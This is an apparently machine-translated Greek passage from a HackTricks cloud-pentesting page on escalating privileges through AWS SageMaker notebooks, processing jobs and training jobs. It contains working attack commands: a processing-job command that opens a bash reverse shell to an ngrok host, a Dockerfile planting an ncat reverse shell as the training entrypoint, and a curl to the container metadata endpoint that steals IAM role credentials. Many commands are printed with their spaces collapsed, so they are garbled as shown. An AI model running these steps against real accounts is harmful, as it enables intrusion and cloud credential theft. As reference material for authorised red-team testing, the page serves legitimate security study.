Η απάντηση θα περιέχει ένα πεδίο NotebookInstanceArn, το οποίο θα περιέχει το ARN της νέας δημιουργημένης παρουσίας σημειωματαρίου. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API create-presigned-notebook-instance-url για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στην παρουσία σημειωματαρίου όταν είναι έτοιμη:
Πλοηγηθείτε στο URL με τον περιηγητή και κάντε κλικ στο "Άνοιγμα JupyterLab" στην πάνω δεξιά γωνία, στη συνέχεια κατέβετε στην καρτέλα "Εκκινητής" και κάτω από την ενότητα "Άλλα", κάντε κλικ στο κουμπί "Τερματικό".
Τώρα είναι δυνατή η πρόσβαση στα διαπιστευτήρια μεταδεδομένων του IAM Role.
Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.
sagemaker:CreatePresignedNotebookInstanceUrl
Εάν υπάρχουν ήδη εκτελούμενα Jupyter notebooks σε αυτό και μπορείτε να τα καταγράψετε με την εντολή sagemaker:ListNotebookInstances (ή να τα ανακαλύψετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να δημιουργήσετε ένα URL για αυτά, να τα αποκτήσετε πρόσβαση και να κλέψετε τα διαπιστευτήρια, όπως περιγράφεται στην προηγούμενη τεχνική.
Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον ρόλο υπηρεσίας sagemaker.
sagemaker:CreateProcessingJob,iam:PassRole
Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να κάνει το sagemaker να εκτελέσει ένα processing job με έναν ρόλο sagemaker που είναι συνδεδεμένος με αυτό. Ο επιτιθέμενος μπορεί να καθορίσει τον ορισμό του container που θα εκτελεστεί σε ένα AWS managed ECS account instance και να κλέψει τα διαπιστευτήρια του ρόλου IAM που είναι συνδεδεμένος.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.
sagemaker:CreateTrainingJob, iam:PassRole
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορεί να δημιουργήσει έναν εκπαιδευτικό έργο, εκτελώντας έναν αυθαίρετο container σε αυτόν με έναν συνδεδεμένο ρόλο. Επομένως, ο επιτιθέμενος θα μπορεί να κλέψει τα διαπιστευτήρια του ρόλου.
Αυτό το σενάριο είναι πιο δύσκολο να εκμεταλλευτείτε από το προηγούμενο, επειδή πρέπει να δημιουργήσετε ένα Docker image που θα στείλει τον αντίστροφο shell ή τα διαπιστευτήρια απευθείας στον επιτιθέμενο (δεν μπορείτε να υποδείξετε μια εντολή εκκίνησης στη διαμόρφωση του εκπαιδευτικού έργου).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Πιθανές Επιπτώσεις:** Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας sagemaker.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε (πιθανώς) να δημιουργήσει ένα **υπερπαράμετρο εκπαίδευσης**, **εκτελώντας έναν αυθαίρετο container** με έναν **ρόλο που του είναι επισυναπτόμενος**.\
_Δεν έχω εκμεταλλευτεί αυτό λόγω έλλειψης χρόνου, αλλά μοιάζει με τις προηγούμενες εκμεταλλεύσεις, μπορείτε να στείλετε ένα PR με τις λεπτομέρειες της εκμετάλλευσης._
# Αναφορές
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>